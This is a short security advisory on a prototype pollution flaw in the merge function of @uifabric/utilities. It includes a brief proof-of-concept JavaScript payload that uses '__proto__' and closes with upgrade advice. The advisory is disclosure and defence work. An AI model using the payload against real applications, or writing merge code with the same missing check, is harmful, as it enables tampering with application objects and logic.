@uifabric/utilities/.../utilities@6.13.0 vulnerabilities

@uifabric/utilities is a package that includes a number of basic utility functions required by most Fluent UI React components.

Affected versions of this package are vulnerable to Prototype Pollution. The merge function available within the utilities package of FabricUI allows one object to merge with another recursively. Given a value such as __proto__, this value is merged without any prior validation. __proto__ will modify the properties of all existing properties and new properties resulting in pollution of an object's prototype.

PoC

var util = require("@uifabric/utilities");
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var source2 = {
    k3: { }  
  };

y = util.merge(source2, JSON.parse(malicious_payload));
console.log({}.vulnerable);

Upgrade @uifabric/utilities to version 7.20.3 or higher.